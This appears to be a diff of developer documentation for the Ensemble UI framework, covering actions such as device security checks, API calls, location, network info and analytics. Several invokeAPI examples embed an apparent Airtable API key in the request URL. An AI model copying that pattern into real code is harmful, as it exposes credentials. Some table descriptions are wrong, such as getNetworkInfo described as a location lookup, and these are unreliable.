Text: + text: "The device is rooted." + - elseif: ${event.data.emulator} + action: + showDialog: + body: + Text: + text: "The device is an emulator." + - else: + action: + showDialog: + body: + Text: + text: "The device is secure." + onError: + showDialog: + body: + Text: + text: ${event.error} +``` + +**Kitchen Sink** + +You can find a complete example of using the deviceSecurity action in the [Ensemble Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/RLWeYjfVwopcTqhWo6mX). This example demonstrates how to integrate the action within a screen, handle the success and error cases, and display relevant information to the user based on the device's security status. + +### Platform Based Configurations + +- **Android**: No additional configurations are required. +- **iOS**: Add following lines to the `Info.plist` file in /ios/Runner/ folder: + +```xml +LSApplicationQueriesSchemes + + undecimus + sileo + zbra + filza + activator + +``` + +--- +**NOTE** + +This action only works for native applications (Android and iOS), on web it will always return false. + +--- + +--- + +# Actions + +When an event is triggered (e.g. button is tapped), you can perform actions such as navigate to a screen, call an API, or even run JavaScript code. + +### Backend API interaction + +| Property | Description | +| :------------------------- | :---------------------------------------------------------------------------------------------------------- | +| [invokeAPI](invoke-API.md) | invokeAPI is used for calling an API. You can call an API on events such as a button tap or on screen load. | + +### Navigation & UI transitions + +| Property | Description | +| :---------------------------------------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| [navigateScreen](navigate-screen.md) | navigateScreen action facilitates smooth navigation to a specific screen or page within the app's interface. | +| [navigateModalScreen](navigate-modal-screen.md) | navigateModalScreen action opens a specific screen or page as a modal overlay, focusing on the temporary view without losing the main app context. | +| [navigateViewGroup](navigate-view-group.md) | navigateViewGroup action allows users to navigate between menu items while maintaining the menu in place. This simulate the experience when user taps on different nav items. | +| [navigateBack](navigate-back.md) | navigateBack action allows users to go back to the previous screen or page within the app's navigation stack. | +| [onViewGroupResume](onViewGroupResume.md) | onViewGroupResume action facilitates ensembleAction execution when navigating back to ViewGroup from different screen. | +| [onViewGroupUpdate](onViewGroupUpdate.md) | onViewGroupUpdate action facilitates ensembleAction execution when update in ViewGroup occurs such as swithcing screen. | +| [showDialog](show-dialog.md) | showDialog action triggers the display of a modal dialog box within the app, presenting important information or notifications. | +| [closeAllDialogs](close-all-dialogs.md) | closeAllDialogs action dismisses or closes all open modal dialogs within the app, ensuring a clutter-free interface. | +| [showToast](show-toast.md) | showToast action displays a temporary notification or message on the app interface, providing concise and contextual updates to users. | +| [uploadFiles](upload-files.md) | uploadFiles action allows users to select and upload files from their device to the app, facilitating data transfer and sharing. | + +### Device capabilities + +| Property | Description | +| :---------------------------------------------------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | +| [openCamera](open-camera.md) | openCamera action allows users to access their device's camera within the app for capturing images and videos. | +| [getLocation](get-location.md) | getLocation action retrieves the device's current location, enabling location-based functionalities within the app. | +| [requestNotificationAccess](request-notification-access.md) | requestNotificationAccess action prompts users to grant permission for the app to send notifications to their device. | +| [showNotification](show-notification.md) | showNotification action displays local notifications within the app, notifying users of important events or information. | +| [notification](notification.md) | notification action manages and handles notifications within the app, enabling effective communication with users and delivering timely updates and alerts. | +| [pickFiles](pick-files.md) | pickFiles action enables users to select files from their device for further processing or usage within the app. | +| [uploadFiles](upload-files.md) | uploadFiles action allows users to select and upload files from their device to the app, facilitating data transfer and sharing. | +| [getNetworkInfo](get-network-info.md) | enables users to retrieve their device's current location, facilitating location-based functionalities within the app, such as mapping, navigation, or personalized content delivery, enhancing user experience and context-aware interactions. It requests user's permission to get his/her current location | +| [saveFile](save-file.md) | The saveFile action saves media files (e.g., images) to the default media storage and documents to the default documents directory on Android and IOS. On the web, it downloads the file to the browser's default download folder. | + +### Secure Storage + +| Property | Description | +| :-------------------------------------------- | :--------------------------------------------------------------------------------------------------------------------------------------------------- | +| [setSecureStorage](set-secure-storage.md) | setSecureStorage action securely stores sensitive information in an encrypted format on the device, ensuring that sensitive data remains protected. | +| [getSecureStorage](get-secure-storage.md) | getSecureStorage action retrieves previously stored encrypted data from the device's secure storage, decrypting it for use within your application. | +| [clearSecureStorage](clear-secure-storage.md) | clearSecureStorage action removes previously stored encrypted data from the device's secure storage, allowing you to clean up sensitive information. | +| [saveKeychain](save-keychain.md) | saveKeychain action stores sensitive information in the device's secure keychain (iOS) and keyStore (Android). | +| [readKeychain](read-keychain.md) | readKeychain action retrieves previously stored data from the device's secure keychain (iOS) and keyStore (Android). | +| [clearKeychain](clear-keychain.md) | clearKeychain action removes previously stored data from the device's secure keychain (iOS) and keyStore (Android). | + +### Other interactions + +| Property | Description | +| :-------------------------------------- | :--------------------------------------------------------------------------------------------------------------------------------------------- | +| [executeCode](execute-code.md) | executeCode action executes custom code logic within the app, enabling dynamic functionality and personalized interactions. | +| [openUrl](open-url.md) | openUrl action opens external URLs or web links within the app, facilitating seamless integration with external content. | +| [startTimer](start-timer.md) | startTimer action initiates a timer within the app, facilitating time-sensitive processes and triggering events after a specified duration. | +| [openUrl](open-url.md) | openUrl action allows users to open external URLs or web links within the app, enhancing content integration. | +| [stopTimer](stop-timer.md) | stopTimer action halts or pauses a running timer within the app, providing control over time-sensitive processes. | +| [copyToClipboard](copy-to-clipboard.md) | copyToClipboard action copies text or content to the device's clipboard, facilitating easy sharing and transfer of information within the app. | + +### 3-rd party services + +| Property | Description | +| :---------------------------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------- | +| [connectWallet](connect-wallet.md) | connectWallet action establishes a connection between the app and the user's digital wallet, enabling blockchain-based interactions and transactions. | +| [openPlaidLink](open-plaid-link.md) | Open the Plaid Link Service so user can link their financial accounts to your service. | + +### Audio Player + +| Property | Description | +| :----------------------------- | :------------------------------------------------------------------------------- | +| [playAudio](play-audio.md) | The playAudio action allows users to play a given audio file from a URL or asset | +| [pauseAudio](pause-audio.md) | The pauseAudio action allows users to pause an already-playing audio file | +| [resumeAudio](resume-audio.md) | The resumeAudio action allows users to resume a previously paused audio | +| [stopAudio](stop-audio.md) | The stopAudio action allows users to stop a already playing audio file | +| [seekAudio](seek-audio.md) | The seekAudio action allows users to pause a already-playing audio file | + +--- + +# dispatchEvent action +Custom widgets in Ensemble, just like widgets in any UI framework, can dispatch events + +`dispatchEvent` action is used in custom widgets to let the caller of the widget know when something interesting has happened. + +For example +- a calendar widget may dispatch an event named 'onDataRangeSelected' to notify the caller that the user selected a range of dates. +- in this example, we have a custom widget named `DispatchEventSample` that is a simple Form widget with two fields and a Submit button. When you tap the Submit button, `DispatchEventSample` dispatches an event namd `onFormSubmit`. A Text widget below the form just prints out the data received in the event + +## Example: +`DispatchEventSample` is Custom Widget that dispatches `onFormSubmit` event +```yaml + Widget: + inputs: + - nameLabel + - emailLabel + - submitBtnLabel + events: + onFormSubmit: + data: + name: + email: + body: + Form: + onSubmit: + dispatchEvent: + onFormSubmit: + data: + name: ${name.value} + email: ${email.value} + children: + - Text: + text: Sample Form that dispatches onFormSubmit whenever the Submit button is pressed + - TextInput: + label: ${nameLabel} + required: true + id: name + validateOnUserInteraction: true + - TextInput: + label: ${emailLabel} + id: email + required: true + inputType: email + validateOnUserInteraction: true + - Button: + label: ${submitBtnLabel} + submitForm: true +``` +The screen that uses the widget `listens` to the `onFormSubmit` event and simply prints out the data +```yaml +View: + # Optional - style the screen + styles: + scrollableView: true + + # Optional - set the header for the screen + header: + title: 'Action: dispatchEvent' + + # Specify the body of the screen + body: + Column: + styles: + padding: 24 + gap: 8 + children: + - Markdown: + text: | + Custom widgets in Ensemble, just like widgets in any UI framework, can dispatch events + + `dispatchEvent` action is used in custom widgets to let the caller of the widget know when something interesting has happened. + + For example + - a calendar widget may dispatch an event named 'onDataRangeSelected' to notify the caller that the user selected a range of dates. + - in this example, we have a custom widget named `DispatchEventSample` that is a simple Form widget with two fields and a Submit button. When you tap the Submit button, `DispatchEventSample` dispatches an event namd `onFormSubmit`. A Text widget below the form just prints out the data received in the event + - Divider: + + - DispatchEventSample: + inputs: + nameLabel: Full Name + emailLabel: Email Address + submitBtnLabel: Submit + events: + onFormSubmit: + executeCode: + body: |- + eventData.text = 'Received Data from onFormSubmit: '+event.data.name + ' ' + event.data.email + - Divider: + + - Text: + id: eventData +``` +See Kitchen Sink for the detailed example[(here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/RajOE62KtSkOHYHJQVJF) + +--- + +# executeActionGroup +Executing a group of Actions, either in parallel (default) or sequentially with each waiting for the other to complete before executing. + +## Usage +- The most common use case for this is calling APIs in parallel using the `invokeAPI` action. Since APIs are asynchronous, multiple APIs will be triggered one after the other in parallel. The parallism is governed by the underlying operating system. +- Use `executeInOrder: true` when certain actions depend on the previous action to complete before executing. An example is closing the current dialog before opening up the new one. Dialog lifecycles are asynchronous, so calling close followed immediately by open will not work as expected. Using `executeInOrder: true` will ensure that the close action completes before the open action is executed. + +## Caveats +- Note that while `executeCode` action can execute asynchronous code, it will not wait and will immediately return. This means that even if it is used inside `executeActionGroup` with `executeInOrder: true`, the next action will be executed immediately after the `executeCode` action is called. + +| Property | Type | Description | +|:---------------|:---------|:-------------------------------------------------------------------------------------| +| executeInOrder | boolean | If true, the actions will be executed in order, one after the other. (default false) | +| actions | Action[] | The list of Actions to be executed | + + +See [Kitchen Sink Example](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/VJQun4rJ91mATTBopsNy#) + +## Example +```yaml + - Button: + label: Round + onTap: + executeActionGroup: + actions: + - invokeAPI: + name: callDelayedAPI + inputs: + num: 1 + - showToast: + message: second action - 2 + options: + duration: 4 + - executeCode: + body: |- + console.log('executed code - 2'); + - invokeAPI: + name: callDelayedAPI + inputs: + num: 3 + onResponse: |- + console.log('inline onResponse - 3'); + - invokeAPI: + name: callDelayedAPI + inputs: + num: 4 + - showToast: + message: number 5 + options: + duration: 3 + - executeCode: + body: |- + console.log('executed code - 5'); +``` + +--- + +# executeCode + +Utilize the `executeCode` action to compose custom JavaScript code within the context of this application. When the execution of the code concludes, you can incorporate a follow-up action by leveraging the `onComplete` property. + +Keep in mind that you need to use **//@code** so Ensemble knows to treat the lines that follow as JavaScript. + +```yaml +View: + Column: + children: + - Button: + label: Execute Code + onTap: + executeCode: + body: | + //@code + codeExecuted.text = 'Code block under body is executed'; + onComplete: | + //@code + onCompleteCodeExecuted.text = 'Code block under onComplete is executed'; + + - Text: + id: codeExecuted + + - Text: + id: onCompleteCodeExecuted +``` + +For examples of the `executeCode` action, see the [Ensemble Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/6f88beb2-efe0-4278-82f3-134d110a8551) app. + +## Properties for executeCode + +| Property | Type | Description | +| :------- | :--- | :---------- | +| body | String | Block of code writen in JavaScript. This block executes when the executeCode action is called. | +| onComplete | String | Block of code writen in JavaScript. This block executes after thh executeCode action is called, and the body code block is executed. | + +--- + +# executeConditionalAction +`executeConditionalAction` is an Action and can be used like any other action. that allows actions to be executed based on if/elseif/else conditions + +- `if` condition is required and should be the first condition +- `elseif` is optional and there can be any number of elseif conditions +- `else` is optional and there can only be one else condition + +See [Kitchen Sink Example](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/HoLgqsVN4zS20TxTHe4M#) + +## Example +```yaml + - Button: + label: Tap to compare the price with 10 + onTap: + executeConditionalAction: + conditions: + - if: ${parseInt(price.value) < 10} + action: + showToast: + message: Price is less than $10 + options: + duration: 5 + - elseif: "${parseInt(price.value) > 10}" + action: + showToast: + message: Price is greater than $10 + options: + duration: 5 + - else: + action: + showToast: + message: Price is $10 + options: + duration: 5 +``` + +--- + +# getLocation + +getLocation action enables users to retrieve their device's current location, facilitating location-based functionalities within the app, such as mapping, navigation, or personalized content delivery, enhancing user experience and context-aware interactions. It requests user's permission to get his/her current location + +### Module (ensemble_location) +Enable Location service in Ensemble code + +By default, Ensemble does not include the location module to avoid installing unnecessary packages. Here, we uncomment a few lines of code to get the necessary packages. + +Inside the directory where you cloned Ensemble Starter, open `/lib/generated/ensemble_modules.dart`. + +* Search for this line and uncomment it: +``` +// import 'package:ensemble_location/location_manager.dart'; +``` + +* Search for this line and uncomment it: +``` + // GetIt.I.registerSingleton(LocationManagerImpl()); +``` + +* Search for this line and set it to true +``` + static const useLocation = false; +``` + +--- + +### Properties + +| Property | Type | Description | +| :----------------- | :----- | :---------------------------------------------------------------------------------------------------- | +| options | object | [see properties](#propertiesoptions) | +| onLocationReceived | action | Callback Action once we get the device location | +| onError | action | Callback Action if we are unable to get the device location. Reason is available under 'reason' field | + +#### properties.options + +| Property | Type | Description | +| :---------------------- | :------ | :----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| recurring | boolean | Whether to continuously get the device location on this screen. Note that a screen can only have one recurring location listener. Adding multiple recurring location listeners will cancel the previous one. | +| recurringDistanceFilter | integer | If recurring, the minimum distance (in meters) the device has moved before new location is returned. (default: 1000 meters, minimum: 50 meters) | + +**Example** + + + +```yaml +View: + # Optional - style the screen + styles: + scrollableView: true + + # Optional - set the header for the screen + header: + title: "Action: getLocation" + + # Specify the body of the screen + body: + Column: + styles: + padding: 24 + gap: 8 + children: + - Text: + text: Get location via Action + styles: + font: subtitle + - Markdown: + text: Use `getLocation` Action to get the location, with the option to continuously get location change updates. + - Button: + label: Listen for location changes + onTap: + getLocation: + options: + recurring: true # while on this page, location changes will continue to execute onLocationReceived + recurringDistanceFilter: 50 # only dispatch if the new location is more than 50 meters away from the previous location + onLocationReceived: |- + //@code + status.text = 'Lat: ' + latitude + ', Lng: ' + longitude; + onError: |- + //@code + status.text = reason; + - Text: + id: status +``` + + + +complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/uH9b2ZnmSS3HT7BsECu4?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true) + +--- + +# getNetworkInfo + +**Works on native iOS and Android apps only. In the browser, `onError` (if specified) will be called with error `Network info is not supported on the web`.** + +Action to retrieve the following network information - + +- wifiName +- wifiBSSID +- wifiIPv4 +- wifiIPv6 +- wifiGatewayIP +- wifiBroadcast +- wifiSubmask + +If successful, the network information will be available as event.data.networkInfo object with the property names as shows above, for example event.data.networkInfo.wifiName. + +In case of error, the error message will be available as event.error. + +For all other cases, check the `event.data.status` property for details + +## Properties for getNetworkInfo + +| Property | Type | Description | +| :------- | :--- | :---------- | +| onSuccess | action | (Required) call an Action when the network info has been retrieved successfully. Network info will be available under event.data.networkInfo object with properties wifiName, wifiBSSID, wifiIPv4, wifiIPv6, wifiGatewayIP, wifiBroadcast, wifiSubmask | +| onError | action | (Optional) call an Action when unable to retrieve networkInfo. This could be because the location or wifiinfo is not enabled in the app or the module has not been included. Error is available as `event.error` property | +| onDenied | action | (Optional) call an Action when the user has denied access to the location. Location access is required to get the wifi data. The status could either be `denied` or `deniedForever`. `deniedForver` means that the user has denied the location access and has selected the option to never ask again. | +| onLocationDisabled | action | (Optional) call an Action when the location is disabled. This could be because the location is disabled in the device settings. | + +## How to enable the `getNetworkInfo` action for your app + +**When using the build system in the [Ensemble Studio](https://studio.ensembleui.com) the following configurations are automatically added for you and your app is automatically built and made available on the appstore and google play for you to then test or submit for approval.** + +1. First enable the `ensemble_network_info` module as follows - +- open starter/pubspec.yaml and search for `Uncomment to enable NetworkInfo` and uncomment the `ensemble_network_info` module reference - +```yaml + ensemble_network_info: + git: + url: https://github.com/EnsembleUI/ensemble.git + ref: main + path: modules/ensemble_network_info +``` +Run `pub get` to get the latest + +- open `starter/lib/generated/ensemble_modules.dart` and ... +. uncomment import 'package:ensemble_network_info/network_info.dart'; +. set `useNetworkInfo = true;` +. uncomment `GetIt.I.registerSingleton(NetworkInfoImpl());` + +2. Configure permissions for iOS and/or Android as follows + +### Browser +Note that `getNetworkInfo` action is available only on iOS and Android. On the web, `onError` (if specified) will be called with error `Network info is not supported on the web`. + +### iOS +**Location** +Location and `Precise Location` is required to get the `wifiName` and `wifiBSSID`. Other properties can be retrieved without location permission. When location is not enabled. `wifiName` and `wifiBSSID` will return null. + +Open the `starter/ios/Runner` directory. There you will find the following two files that we need to modify - `info.plist` and `Runner.entitlements` + +`info.plist`: add the following. + +Add either `NSLocationWhenInUseUsageDescription` or `NSLocationAlwaysUsageDescription` depending on what your apps needs. +Make sure to adjust the message to meet your requirements. `PreciseLocation` is a must to get the wifiName and wifiBSSID. + +```xml + NSLocationWhenInUseUsageDescription + We need your location to provide better services. + NSLocationAlwaysUsageDescription + We need your location to provide continuous tracking even when the app is in the background. + NSLocationUsageDescription + using location + NSLocationTemporaryUsageDescriptionDictionary + + PreciseLocation + We need your precise location to provide location-based services and ensure accurate tracking. + +``` + +`Runner.entitlements`: add the following + +```xml + com.apple.security.personal-information.location + + com.apple.developer.networking.wifi-info + +``` +You can do the above changes by using the XCode graphical interface as well. Make sure to do a clean build after making the above changes. + +### Android +Android just needs the `Fine Location` permission as follows. + +Under `starter/android/app/src/main` + +`AndroidManifest.xml` + +```xml + +``` + +## Example + +```yaml +View: + styles: + useSafeArea: true + scrollableView: true + + # Optional - set the header for the screen + header: + titleText: Home + + # Specify the body of the screen + body: + Column: + styles: + padding: 24 + gap: 8 + children: + - TextInput: + id: wifiName + label: wifiName + - TextInput: + id: wifiBSSID + label: wifiBSSID + - TextInput: + id: wifiIPv4 + label: wifiIPv4 + - TextInput: + id: wifiIPv6 + label: wifiIPv6 + - TextInput: + id: wifiGatewayIP + label: wifiGatewayIP + - TextInput: + id: wifiBroadcast + label: wifiBroadcast + - TextInput: + id: wifiSubmask + label: wifiSubmask + - TextInput: + id: status + label: status + multiline: true + maxLines: 10 + minLines: 4 + - Button: + label: get wifi info + onTap: + getNetworkInfo: + onSuccess: + executeCode: + body: | + status.value = event.data.status; + wifiName.value = event.data.networkInfo.wifiName; + wifiBSSID.value = event.data.networkInfo.wifiBSSID; + wifiIPv4.value = event.data.networkInfo.wifiIPv4; + wifiIPv6.value = event.data.networkInfo.wifiIPv6; + wifiGatewayIP.value = event.data.networkInfo.wifiGatewayIP; + wifiBroadcast.value = event.data.networkInfo.wifiBroadcast; + wifiSubmask.value = event.data.networkInfo.wifiSubmask; + onError: + executeCode: + body: | + status.value = event.error; +``` + +--- + +# getPhoneContacts + +The `PhoneContacts` view is designed to retrieve and display phone contacts from Android and iOS physical devices or simulators. It includes a warning note, a button to fetch contacts, and a list view to display individual contact details. + +```yaml +- Button: + label: Get Phone Contacts + onTap: + getPhoneContacts: + id: phoneContactId + onSuccess: | + // ***code + console.log("Phone Number Fetched Successfully"); + ensemble.storage.set('contacts', event.data['contacts']); + + onError: | + // ***code + console.log("Something went wrong!"); +``` +The `onSuccess` and `onError` callbacks for the "Get Phone Contacts" button. In the success callback (onSuccess), the retrieved contacts are logged to the console and stored in the `ensemble.storage.contacts`. In the error callback (onError), a message is logged indicating an issue. + +```yaml +- ListView: + id: listView + styles: + expanded: true + item-template: + data: ${ensemble.storage.contacts} + name: contact + template: + UserContact: + inputs: + contact: ${contact} +``` +The `ListView` component displaying a list of contacts (ensemble.storage.contacts). It uses the `UserContact` custom widget template for each item in the list. + +--- + +# getPhoneContactPhoto + +```yaml +UserContact: + inputs: + - contact + styles: { gap: 10 } + onLoad: + getPhoneContactPhoto: + id: contactPhotoId + contactId: ${contact.id} + + # Using JS Code + + # //@code + # ensemble.getPhoneContactPhoto({ + # id: "contactPhotoId", + # contactId: contact.id + # }); + + body: + Column: + styles: { gap: 2 } + children: + - Row: + children: + - Image: + source: ${contactPhotoId.image} + width: 100 + height: 100 + fallback: ImageFallbackWidget + - Column: + styles: { gap: 2, margin: 10 } + children: + - Text: + textStyle: { fontWeight: bold, fontSize: 18 } + text: "${contact.displayName}" + - Text: + textStyle: { fontWeight: bold, fontSize: 18 } + text: "${getPhoneNumber(contact.phones)}" + - Shape: + styles: + height: 10 + - Divider: +``` +The `UserContact` component representing the structure for displaying an individual contact. It includes an `Image` and two `Text` components for displaying the contact's display image, name and phone number. The `getPhoneContactPhoto` action is used to get the contact photo with the contactId. + +```yaml +Global: | + //@code + + if (ensemble.storage.contacts == null) { + ensemble.storage.contacts = []; + } + + function getPhoneNumber(phones) { + if (phones.length > 0) { + return phones[0].number; + } else { + return ""; + } + } +``` +The global code block initializes `ensemble.storage.contacts` as an empty array if it's null. It also includes the `getPhoneNumber` function, which extracts the primary phone number from an array of phone numbers. + +--- + +# invokeAPI + +To check out examples of the invokeAPI action, go to the [Ensemble Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/e546b0d8-3220-4217-bd5c-181118154073). + +## API response object +Both the `onResponse` and `onError` actions provide reference to the API response object. The `response` object has the following propertuies available to you. + +| Property | Type | Description | +| :--------- | :----- | :------------------------------------------------------------------------- | +| statusCode | number | Http status code. See details [here](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status) | +| body | String | the actual body of the response. This is where you are mostly interested in. JSON responses are automatically parsed and made available. Other content-types are available as strings. | +| headers | array | Key value pairs of http response headers | +| reasonPhrase | String | Phrase that describes the statusCode. Http response statusCode is a 3 digit number and reasonPhrase describes that number. For example - reasonPhrase for statusCode between 200 and 299 (inclusive) is Successful. More [here](https://www.ibm.com/docs/en/cics-ts/5.5?topic=concepts-status-codes-reason-phrases) | +| type | String | By default the invokeAPI action is used to call http(s) APIs whether REST o GraphQL APIs. However, Ensemble has a deep integration with firestore. if the type is specificed as `firestore`, this action will invoke firestore APIs. For details and examples, see [Firestore Operations](pages/firebase/firestore-operations.mdx) | + +## API/invokeAPI properties +| Property | Type | Description | +| :--------- | :----- | :------------------------------------------------------------------------- | +| id | String | Give the API an ID allows you to bind to its result. e.g. ${apiId.body...} | +| name | String | Name of the API defined in the API section | +| inputs | Object | Key value pairs ofinputs to be passed to API definition | +| onResponse | Action | The action to handle the response. This action can access the `response` object. For example - `response.body` or event overwrite the body as `response.body = myJsonObject;` | +| onError | Action | The action to handle errors. Just like onResponse, you have the `response` object available here so you can check `response.statusCode` to see what error was sent by the server and then use `response.body` to access the error response | + +## Content Types + +The API supports different content types for request bodies: + +1. **JSON (Default)** + - If no Content-Type is specified, the body is sent as JSON + - Content-Type: application/json + - By default, the Flutter framework sends the content-type header as `application/json; charset=utf-8` for json content. The presence of `charset=utf-8` while perfectly fine can cause issues for some servers. In order to make sure `charset=utf-8` is not appended to the header, set the `content-type` header as a header in your API. `Content-Type: application/json` + +Example with JSON data: + +```yaml +API: + loginUser: + uri: https://api.example.com/login + method: POST + headers: + #application/json is the default content-type. You can optionally specify the Content-Type header to make sure framework sends the header as `Content-Type: application/json`. When not specified, header will be sent as `Content-Type: application/json; charset=utf-8` + Content-Type: application/json + body: ${json} +``` + +3. **URL Encoded Form Data** + - Set Content-Type: application/x-www-form-urlencoded + - Body will be automatically encoded in URL-encoded format + +Example with URL-encoded form data: + +```yaml +API: + loginUser: + uri: https://api.example.com/login + method: POST + headers: + Content-Type: application/x-www-form-urlencoded + body: + username: ${username} + password: ${password} +``` + +**invokeAPI** is used for calling an API. You can call an API on events such as a button tap or on screen load. First, you have to declare an API: + +```yaml +API: + getPeople: + uri: https://randomuser.me/api/?results=8 + method: GET +``` + +### Usage examples of InvokeAPI + +Now to call the API on screen load, use the `onLoad` property of the view, there are two ways to call invokeAPI as well + +##### 1. Using ensemble invokeAPI action. + +````yaml +View: + onLoad: + invokeAPI: + name: getPeople + body: + Column: + styles: { gap: 16, padding: 24 } + children: + - Text: + text: ${getPeople.body.results.length} records were retrieved from API + - Markdown: + text: | + Here's the API response body: + ``` + ${getPeople.body} + ``` + +API: + getPeople: + uri: https://randomuser.me/api/?results=8 + method: GET +```` + +##### 2. Using JavaScript code block to execute invokeAPI action. + + + +````yaml +View: + onLoad: | + //@code + ensemble.invokeAPI("getPeople"); + body: + Column: + styles: { gap: 16, padding: 24 } + children: + - Text: + text: ${getPeople.body.results.length} records were retrieved from API + - Markdown: + text: | + Here's the API response body: + ``` + ${getPeople.body} + ``` + +API: + getPeople: + uri: https://randomuser.me/api/?results=8 + method: GET +```` + + + +- **Its similar to previous only that we are now using Javascript code block**. + +To call an API on button tap, inside the body add a Button with `onTap` property: + + + +```yaml +View: + body: + Column: + styles: { gap: 16, padding: 24 } + children: + - Button: + label: Call API + onTap: + invokeAPI: + name: getPeople + - Column: + item-template: + data: ${getPeople.body.results} + name: item + template: + Text: + text: ${item.name.first} + +API: + getPeople: + uri: https://randomuser.me/api/?results=8 + method: GET +``` + + + +## POST calls with input parameters + +You can also create a POST request and pass parameters to the API like this + + + +```yaml +View: + body: + Column: + styles: { gap: 16, padding: 24 } + children: + - Button: + label: Call API + onTap: + invokeAPI: + name: createToDo + inputs: + name: "some value" + onResponse: | + //@code + var id = response.body.records[0].id; + postStatus.text = 'Record created: ' + id; + - Text: + id: postStatus + +API: + createToDo: + inputs: + - name + uri: "https://api.airtable.com/v0/appDbkGS4VOiPVQR5/ToDo?api_key=keyyWz426zsnMKavb" + method: "POST" + body: + records: + - fields: + desc: "${name}" +``` + + + +## Handing errors + +To handle Errors, you can use the `onError` property: + + + +```yaml + - Text: + text: Handle error + - Button: + label: Call API + onTap: + invokeAPI: + name: createToDoError + onResponse: | + //@code + apiStatus.text = 'Call was successful'; + //you have the response object available here so you access its properties. See top of the page for response object + console.log(response.body);//this will print out the full body of the response object. See above for all the properties of a response object + onError: | + //@code + apiStatus.text = 'API returned an error'; + //you have the response object available here so you access its properties. See top of the page for response object + console.log(response.statusCode);//this will print out the http status code of the response object. See above for all the properties of a response object + - Text: + id: apiStatus + +API: + createToDoError: + inputs: + - name + uri: 'https://api.airtable.com/v0/appDbkGS4VOiPVQR5/ToDo?api_key=keyyWz426zsnMKavb' + method: 'POST' + body: + records: "this is not what the API expects" +``` + + + +## Use in code + +You can also call an API in code block. + + + +```yaml + - Button: + label: Call API + onTap: + executeCode: + body: | + //@code + + // no inputs + ensemble.invokeAPI("getNewYorkTime"); + - Text: + visible: ${getNewYorkTime.body != null} + text: Current time in NYC is ${getNewYorkTime.body.datetime} + +API: + getNewYorkTime: + uri: https://worldtimeapi.org/api/timezone/America/New_York + method: GET +``` + + + +## Properties for invokeAPI + +| Property | Type | Description | +| :--------- | :----- | :------------------------------------------------------------------------- | +| id | String | Give the API an ID allows you to bind to its result. e.g. ${apiId.body...} | +| name | String | Name of the API defined in the API section | +| inputs | Object | Key value pairs ofinputs to be passed to API definition | +| onResponse | Action | The action to handle the response | +| onError | Action | The action to handle errors | + +Details about API [here](#interact-with-apis) + +--- + +# invokeHaptic + +invokeHaptic action allows users to play haptics on the device allowing better UX. It supports 5 haptics namely heavyImpact, mediumImpact, lightImpact, selectionClick, and vibrate. They are listed in decreasing order of intensity +and vibrate does a short vibrate pulse. It also supports playing haptic by JavaScript code and also has additional parameters like onTapHaptic or onChangeHaptic added to multiple widgets where haptic would be required. + +### Properties + +| Property | Type | Description | +| :-------- | :----- | :------------------------------------------------------- | +| type | enum | The type of haptic to perform. It should be one of heavyImpact, mediumImpact, lightImpact, selectionClick, and vibrate | +| onComplete| action | Execute another Action post executing the haptic | + +**Example** + + + +```yaml +View: + header: + title: Haptic + Column: + styles: { gap: 16, padding: 24 } + children: + - Button: + label: Using Action + onTap: + invokeHaptic: + type: lightImpact + onComplete: | + //@code + console.log("Haptic completed") + - Button: + label: Using JavaScript + onTap: | + //@code + invokeHaptic({type: lightImpact}) + - Button: + label: Using methods + onTapHaptic: lightImpact + onTap: | + //@code + console.log("Button Press") +``` + +--- + +# logEvent + +logEvent action allows you to track analytics events and user interactions using Firebase Analytics, MoEngage, or Adobe Analytics. + +## Properties +| Property | Type | Description | Default | +|:---------|:-----|:------------|:--------| +| provider | String | Analytics provider ("firebase", "moengage", "adobe") | "firebase" | +| operation | String | Operation to perform (see provider-specific operations) | "logEvent" | +| name | String | Name of the event to track (required for Firebase and MoEngage trackEvent) | - | +| parameters | Object | Additional parameters for events | {} | +| value | Any | Value for MoEngage operations (location, user attributes etc) | - | +| attributeKey | String | Key for MoEngage custom attributes | - | +| logLevel | enum | Log level ("info", "debug", "fatal") | "info" | +| onSuccess | Action | Action to execute on success | - | +| onError | Action | Action to execute on error | - | +| userId | String | User ID for Firebase setUserId operation | - | + +## Firebase Provider + +Firebase provider enables basic analytics event tracking and user identification. + +### Operations + +#### logEvent (Default) +Logs an analytics event to Firebase. Requires name and optional parameters. + +```yaml +Button: + label: Track Purchase + onTap: + logEvent: + name: purchase_complete + parameters: + amount: 99.99 + currency: USD +``` + +#### setUserId +Sets the user identifier for Firebase Analytics. + +```yaml +logEvent: + provider: firebase + operation: setUserId + userId: "user123" +``` + +## MoEngage Provider +MoEngage provider enables comprehensive user engagement features including event tracking, user attributes, and in-app messaging. + +### MoEngage User Profile Operations +| Operation | Description | Required Properties | +|:----------|:------------|:-------------------| +| setUniqueId | Sets a unique identifier for a user. This should be a unique and consistent identifier for the user across sessions. | value (String) | +| setUserName | Tracks full name as a user attribute. | value (String) | +| setFirstName | Tracks first name portion as a separate user attribute. | value (String) | +| setLastName | Tracks last name portion as a separate user attribute. | value (String) | +| setEmail | Tracks user's email ID as attribute for communication and identification. | value (String) | +| setPhoneNumber | Tracks user's phone number as attribute for communication. | value (String) | +| setBirthDate | Sets user's birth date. Must be in ISO format: yyyy-MM-dd'T'HH:mm:ss.fff'Z' | value (ISO date string) | +| setGender | Sets user's gender for demographic data. | value (enum: male/female) | +| setAlias | Updates user's unique ID that was previously set via setUniqueId. Use this to migrate IDs. | value (String) | +| setLocation | Sets user's geographic location for location-based targeting. | value (Object: {latitude: number, longitude: number}) | +| setAppStatus | Indicates whether this is a fresh install or app update. | value (enum: install/update) | + +### MoEngage Custom Attributes +| Operation | Description | Required Properties | 